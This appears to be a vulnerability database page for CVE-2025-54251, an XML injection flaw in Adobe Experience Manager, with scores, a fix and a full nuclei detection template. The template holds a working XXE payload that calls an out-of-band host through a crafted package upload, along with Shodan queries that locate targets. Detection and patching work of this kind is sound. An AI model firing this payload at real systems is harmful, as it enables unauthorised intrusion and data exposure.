Browse / CVEs / CVE-2025-54251
CVE-2025-54251· adobe / experience manager· CWE-91
Adobe Experience Manager ≤ 6.5.23.0 - XML Injection
mediumseverity
4.3CVSS score
1.7%likelihood of exploitation, next 30 days
77%of all CVEs are less likely
Readycheck to confirm it
Adobe Experience Manager versions 6.5.23.0 and earlier are affected by an XML Injection vulnerability that could result in a Security feature bypass.
Impact
Attackers can inject malicious XML payloads to bypass security features and potentially access sensitive information through external entity references.
Fix
Upgrade Adobe Experience Manager to a version later than 6.5.23.0 that properly disables external entity processing in XML uploads.
How to confirm it
Send: POST /crx/packmgr/service/exec.json;x='x/graphql/execute/json/x'?cmd=upload&jsonInTextarea=true
Positive when: status_code == 200 and contains_any(body,'success') and contains(interactsh_protocol, 'http')Run it with nuclei: nuclei -id CVE-2025-54251 -u <target>
The full check
id: CVE-2025-54251
info:
name: Adobe Experience Manager ≤ 6.5.23.0 - XML Injection
author: DhiyaneshDK,assetnote
severity: medium
description: |
Adobe Experience Manager versions 6.5.23.0 and earlier are affected by an XML Injection vulnerability that could result in a Security feature bypass.
impact: |
Attackers can inject malicious XML payloads to bypass security features and potentially access sensitive information through external entity references.
remediation: |
Upgrade Adobe Experience Manager to a version later than 6.5.23.0 that properly disables external entity processing in XML uploads.
reference:
- https://github.com/assetnote/hopgoblin/blob/main/hopgoblin.py
- https://nvd.nist.gov/vuln/detail/CVE-2025-54251
- https://helpx.adobe.com/security/products/experience-manager/apsb25-90.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2025-54251
epss-score: 0.01709
epss-percentile: 0.77522
cwe-id: CWE-91
cpe: cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*
metadata:
verified: true
max-request: 1
vendor: adobe
product: experience_manager
shodan-query:
- http.title:"aem sign in"
- http.component:"adobe experience manager"
- cpe:"cpe:2.3:a:adobe:experience_manager"
tags: cve,cve2025,adobe,aem,xxe,oast,oob,intrusive,vuln,vkev
variables:
marker: "{{randstr}}"
filename: "{{to_lower(rand_text_alpha(5))}}"
boundary: "{{hex_encode(rand_text_alphanumeric(32))}}"
xxe_payload: '<!DOCTYPE x [<!ENTITY foo SYSTEM "http://{{interactsh-url}}/{{marker}}">]><x>&foo;</x>'
http:
- raw:
- |
POST /crx/packmgr/service/exec.json;x='x/graphql/execute/json/x'?cmd=upload&jsonInTextarea=true HTTP/1.1
Host: {{Hostname}}
User-Agent: hopgoblin/1.0
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="package"; filename="{{filename}}.zip"
Content-Type: application/zip
{{zip('META-INF/vault/privileges.xml',xxe_payload)}}
--{{boundary}}--
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains_any(body,'success')"
- "contains(interactsh_protocol, 'http')"
condition: andReferences
- https://github.com/assetnote/hopgoblin/blob/main/hopgoblin.py
- https://nvd.nist.gov/vuln/detail/CVE-2025-54251
- https://helpx.adobe.com/security/products/experience-manager/apsb25-90.html
Use this check only on systems you are authorised to test. Where the data comes from